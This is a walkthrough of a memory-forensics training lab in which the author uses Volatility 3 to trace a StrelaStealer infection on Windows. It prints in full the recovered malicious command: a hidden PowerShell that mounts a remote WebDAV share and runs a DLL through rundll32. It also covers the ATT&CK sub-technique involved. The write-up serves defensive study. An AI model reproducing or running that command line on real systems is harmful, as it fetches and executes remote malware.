Post cover image

October 31, 2026

CyberDefenders “Reveal” Lab Walkthrough: Tracing a Malicious PowerShell Attack with Volatility 3

Introduction

By karim hazem

4 min read

Introduction

Reveal is an easy memory forensics lab on CyberDefenders. You get a Windows memory dump and have to reconstruct a multi-stage attack: the malicious process, its command line, the second-stage payload and the malware family. The lab lists Volatility 3 as the only tool, with the MITRE tactics Stealth and Discovery.

I'd just finished RedLine, so I used the same workflow: process listing first, then command lines, registry artifacts and threat intelligence.

Tools: Volatility 3 (v2.28.2) on Kali Linux, VirusTotal, MITRE ATT&CK Evidence: 192-Reveal.dmp Difficulty: Easy

Setup

I moved into the lab folder and checked the dump's exact filename before running anything, which avoids the "File does not exist" error I hit in earlier labs.

cd /home/kali/Downloads/192-Reveal/
ls
None

Q1: What is the malicious process?

I started with windows.pstree, which shows processes with their parent/child relationships and, helpfully, their command lines.

vol -f 192-Reveal.dmp windows.pstree
None

Volatility 3 first scans the dump and downloads the Windows symbols it needs, so the first run is slow. Scrolling through the output, I saw normal processes like dwm.exe and MicrosoftEdgeUpdate.exe. One entry stood out: powershell.exe (PID 3692), whose command line was:

powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry

Three things made this suspicious:

  • -windowstyle hidden hides the console window from the user.
  • net use mounts a remote share, here at an external IP address.
  • rundll32 then loads a DLL straight from that remote location.

It started on 2024–07–15 at 07:00:03 UTC. Under it, net.exe (PID 2416) and conhost.exe (PID 6892) appear as children.

None

Answer: powershell.exe

Q2: What is the parent PID of the malicious process?

In the same pstree output, the PPID column for PowerShell (PID 3692) is 4120. The wordpad.exe process (PID 9112) has the same parent and the same start time, 07:00:03 UTC.

None

Answer: 4120

Q3: What file does the malware use to execute the second-stage payload?

The command line's last part, rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry, runs a DLL named 3435.dll from the remote server. entry after the comma is the exported function that rundll32 calls.

None

I searched the filename to see if it was known, and results associated it with an information stealer. I treated that as a lead and confirmed the attribution with threat intelligence in Q7.

None

Answer: 3435.dll

Q4: What shared directory is accessed on the remote server?

The net use argument is \\45.9.74.32@8888\davwwwroot\. The @8888 part is the port, and the share name is davwwwroot. The dav prefix points to WebDAV, which lets Windows mount a share over HTTP. That is a common way to pull a payload from a remote server without using normal SMB.

None

Answer: davwwwroot

Q5: Which MITRE ATT&CK sub-technique describes this?

Running a malicious DLL through a legitimate Windows utility matches System Binary Proxy Execution: Rundll32. The command line shows rundll32 loading the remote DLL.

None

On the MITRE ATT&CK page for that technique, the ID is T1218.011, listed under the Stealth tactic. Adversaries use this because security tools that allowlist rundll32.exe may not scrutinise what it loads.

None

Answer: T1218.011

Q6: Which user does the malicious process run under?

I used the windows.registry.userassist plugin and filtered for PowerShell:

vol -f 192-Reveal.dmp windows.registry.userassist | grep -i powershell
None

The output included some warnings about service profiles (NetworkService and LocalService) with no UserAssist key. Those are expected noise. The relevant line was a UserAssist entry from the hive \??\C:\Users\Elon\ntuser.dat, pointing to powershell.exe, last updated 2024-07-15 at 07:00:07 UTC, a few seconds after the process started in Q1. The account name is in the hive path.

None

Answer: Elon

Note: UserAssist records programs a user launched through the shell, so it links PowerShell to this profile. To strengthen the finding, you can cross-check with windows.getsids, which lists the account that owns each process.

Q7: What is the malware family?

I took the IP address from the command line, 45.9.74.32, and searched it on VirusTotal.

None

VirusTotal flagged it as malicious (13 of 92 vendors) and its crowdsourced context linked the address to StrelaStealer, an information stealer that targets email credentials from clients like Outlook and Thunderbird. That agrees with the earlier hint about 3435.dll.

None

Answer: StrelaStealer

Caution: Threat-intel hits are an indicator, not proof. Here the attribution fits the behaviour I saw in memory (a hidden PowerShell downloading a DLL over WebDAV), which is what makes it believable.

MITRE ATT&CK mapping (suggested by the artifacts)

  • T1059.001: PowerShell, a hidden window running the commands
  • T1218.011: Rundll32, executing the remote DLL (Stealth)
  • Initial staging over WebDAV: the payload came from a remote share on an external IP

What I learned

  • pstree shows command lines, which are often the whole story. A single line exposed the share, the IP, the DLL and the execution method.
  • Registry artifacts link activity to a user. UserAssist gave me the account name.
  • Validate attribution with intel. VirusTotal on the IP was much more reliable than a search-engine summary.
  • Read each flag. -windowstyle hidden and @8888\dav... each told me something about how the attacker worked.

Conclusion

Reveal is a short but realistic memory-forensics exercise. Starting from a process list, I identified a hidden PowerShell process, the remote WebDAV share and DLL it used, the affected user, and the malware family, all with Volatility 3 and a bit of threat intel. If you're getting started with memory analysis, it's a good next step after RedLine.

Lab link: https://cyberdefenders.org/blueteam-ctf-challenges/reveal/